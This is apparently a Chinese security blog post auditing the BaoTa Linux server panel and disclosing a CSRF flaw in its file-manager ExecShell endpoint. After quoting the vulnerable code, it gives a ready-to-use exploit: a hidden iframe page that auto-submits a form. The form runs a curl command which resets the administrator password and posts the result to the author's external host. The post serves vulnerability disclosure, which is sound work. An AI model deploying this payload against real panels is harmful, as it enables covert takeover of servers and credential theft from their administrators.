代码审计 | 宝塔linux面板CSRF命令执行,修改管理员密码,附EXP
前言
我自己就在用宝塔面板,但是网上没有搜索到相关的漏洞信息,又担心某一天一不小心自己就被黑了,那就尴尬了.
决定审计一波。
宝塔面板对登录验证的逻辑十分到位,很多操作都需要登录后才能进行,我姿势水平有限.审了半天只审出来一堆CSRF的洞....赶脚我好菜啊...
下面随便拿一个举个例子....
漏洞位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | [crayon-5c7040173824a279034461 inline="true" class="lang-python hljs"]<span class="hljs-comment">#files.py lines:922-935</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ExecShell</span><span class="hljs-params">(self,get)</span>:</span> disabled = [<span class="hljs-string">'vi'</span>,<span class="hljs-string">'vim'</span>,<span class="hljs-string">'top'</span>,<span class="hljs-string">'passwd'</span>,<span class="hljs-string">'su'</span>] get.shell = get.shell.strip() tmp = get.shell.split(<span class="hljs-string">' '</span>); <span class="hljs-keyword">if</span> tmp[<span class="hljs-number">0</span>] <span class="hljs-keyword">in</span> disabled: <span class="hljs-keyword">return</span> public.returnMsg(<span class="hljs-keyword">False</span>,<span class="hljs-string">'FILE_SHELL_ERR'</span>,(tmp[<span class="hljs-number">0</span>],)); shellStr = <span class="hljs-string">'''#!/bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin export PATH cd %s %s '''</span> % (get.path,get.shell) public.writeFile(<span class="hljs-string">'/tmp/panelShell.sh'</span>,shellStr); os.system(<span class="hljs-string">'nohup bash /tmp/panelShell.sh > /tmp/panelShell.pl 2>&1 &'</span>); <span class="hljs-keyword">return</span> public.returnMsg(<span class="hljs-keyword">True</span>,<span class="hljs-string">'FILE_SHELL_EXEC'</span>); |
[/crayon]
流程分析
我们跟进一下,看一下具体流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | [crayon-5c70401738251951611781 inline="true" class="lang-python hljs"]<span class="hljs-comment">#main.py </span> <span class="hljs-comment">#lines:41</span> {... <span class="hljs-string">'/files'</span> , <span class="hljs-string">'panelFiles'</span> ...} <span class="hljs-comment">#lines 351-365</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">panelFiles</span><span class="hljs-params">(common.panelAdmin)</span>:</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GET</span><span class="hljs-params">(self)</span>:</span> data = {} data[<span class="hljs-string">'lan'</span>] = public.getLan(<span class="hljs-string">'files'</span>) <span class="hljs-keyword">return</span> render.files(data) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">POST</span><span class="hljs-params">(self)</span>:</span> <span class="hljs-keyword">import</span> files filesObject = files.files() defs = (<span class="hljs-string">'CheckExistsFiles'</span>,<span class="hljs-string">'GetExecLog'</span>,<span class="hljs-string">'GetSearch'</span>,<span class="hljs-string">'ExecShell'</span>,<span class="hljs-string">'GetExecShellMsg'</span>,<span class="hljs-string">'UploadFile'</span>,<span class="hljs-string">'GetDir'</span>,<span class="hljs-string">'CreateFile'</span>,<span class="hljs-string">'CreateDir'</span>,<span class="hljs-string">'DeleteDir'</span>,<span class="hljs-string">'DeleteFile'</span>, <span class="hljs-string">'CopyFile'</span>,<span class="hljs-string">'CopyDir'</span>,<span class="hljs-string">'MvFile'</span>,<span class="hljs-string">'GetFileBody'</span>,<span class="hljs-string">'SaveFileBody'</span>,<span class="hljs-string">'Zip'</span>,<span class="hljs-string">'UnZip'</span>, <span class="hljs-string">'GetFileAccess'</span>,<span class="hljs-string">'SetFileAccess'</span>,<span class="hljs-string">'GetDirSize'</span>,<span class="hljs-string">'SetBatchData'</span>,<span class="hljs-string">'BatchPaste'</span>, <span class="hljs-string">'DownloadFile'</span>,<span class="hljs-string">'GetTaskSpeed'</span>,<span class="hljs-string">'CloseLogs'</span>,<span class="hljs-string">'InstallSoft'</span>,<span class="hljs-string">'UninstallSoft'</span>, <span class="hljs-string">'RemoveTask'</span>,<span class="hljs-string">'ActionTask'</span>,<span class="hljs-string">'Re_Recycle_bin'</span>,<span class="hljs-string">'Get_Recycle_bin'</span>,<span class="hljs-string">'Del_Recycle_bin'</span>,<span class="hljs-string">'Close_Recycle_bin'</span>,<span class="hljs-string">'Recycle_bin'</span>) <span class="hljs-keyword">return</span> publicObject(filesObject,defs); <span class="hljs-comment">#---一些无关代码---</span> <span class="hljs-comment">#lines 940-953</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">publicObject</span><span class="hljs-params">(toObject,defs)</span>:</span> get = web.input(zunfile = {},data = []); <span class="hljs-keyword">if</span> hasattr(get,<span class="hljs-string">'path'</span>): get.path = get.path.replace(<span class="hljs-string">'//'</span>,<span class="hljs-string">'/'</span>).replace(<span class="hljs-string">'\\'</span>,<span class="hljs-string">'/'</span>); <span class="hljs-keyword">if</span> get.path.find(<span class="hljs-string">'->'</span>) != <span class="hljs-number">-1</span>: get.path = get.path.split(<span class="hljs-string">'->'</span>)[<span class="hljs-number">0</span>].strip(); <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> defs: <span class="hljs-keyword">if</span> key == get.action: fun = <span class="hljs-string">'toObject.'</span>+key+<span class="hljs-string">'(get)'</span> <span class="hljs-keyword">if</span> hasattr(get,<span class="hljs-string">'html'</span>): <span class="hljs-keyword">return</span> eval(fun) <span class="hljs-keyword">else</span>: <span class="hljs-keyword">return</span> public.getJson(eval(fun)) <span class="hljs-keyword">return</span> public.returnJson(<span class="hljs-keyword">False</span>,<span class="hljs-string">'ARGS_ERR'</span>) |
[/crayon]
可以看到,宝塔并未对CSRF攻击进行防御,直接将用户请求调用函数执行了..
EXP
就以命令执行修改密码为例
当攻击者构造
1 2 3 4 5 6 7 8 | [crayon-5c70401738258813743425 inline="true" class="lang-html hljs xml"]<span class="hljs-comment"><!-- raw.html --></span> <span class="hljs-tag"><<span class="hljs-name">html</span>></span> <span class="hljs-tag"><<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>></span> <span class="hljs-tag"><<span class="hljs-name">h1</span>></span>这是一个测试页面..<span class="hljs-tag"></<span class="hljs-name">h1</span>></span> <span class="hljs-tag"><<span class="hljs-name">h2</span>></span>什么都没有. <span class="hljs-tag"><<span class="hljs-name">h2</span>></span>blog:https://www.hexlt.org/ <span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display:none"</span>></span><span class="hljs-tag"><<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"1.html"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display:none"</span>></span><span class="hljs-tag"></<span class="hljs-name">iframe</span>></span><span class="hljs-tag"></<span class="hljs-name">div</span>></span> <span class="hljs-tag"></<span class="hljs-name">html</span>></span> |
[/crayon]
1 2 3 4 5 6 7 8 | [crayon-5c7040173825d481108047 inline="true" class="lang-html hljs xml"]<span class="hljs-comment"><!-- 1.html --></span> <span class="hljs-tag"><<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>></span> <span class="hljs-tag"><<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"</span>></span><span class="hljs-tag"></<span class="hljs-name">script</span>></span> <span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"ss"</span>></span><span class="hljs-tag"><<span class="hljs-name">form</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"form_id"</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"http://www.bt.cn:8888/files?action=ExecShell"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"post"</span>></span><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"path"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"/www/server/panel"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span>></span><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">value</span>=<span class="hljs-string">'curl --data "result=`python tools.pyc panel justforfun963.`" http://xss.hexlt.org/index.php'</span> <span class="hljs-attr">name</span>=<span class="hljs-string">'shell'</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span>></span><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span>></span> <span class="hljs-tag"></<span class="hljs-name">div</span>></span> <span class="hljs-tag"><<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/javascript"</span>></span><span class="javascript"> $(<span class="hljs-string">"#form_id"</span>).submit(); </span><span class="hljs-tag"></<span class="hljs-name">script</span>></span> |
[/crayon]
如果管理员登录了宝塔面板,在session失效前打开了攻击者的网页
那么将在他毫不知情的情况下密码被改为 justforfun963.
并将用户名发送给攻击者
如果不能载图请用谷歌浏览器打开,火狐sm.ms的图床会崩掉..
结合社工可以达到一定危害。
本文由 孤独常伴 作者:孤独常伴 发表,其版权均为 孤独常伴 所有,文章内容系作者个人观点,不代表 孤独常伴 对观点赞同或支持。如需转载,请注明文章来源。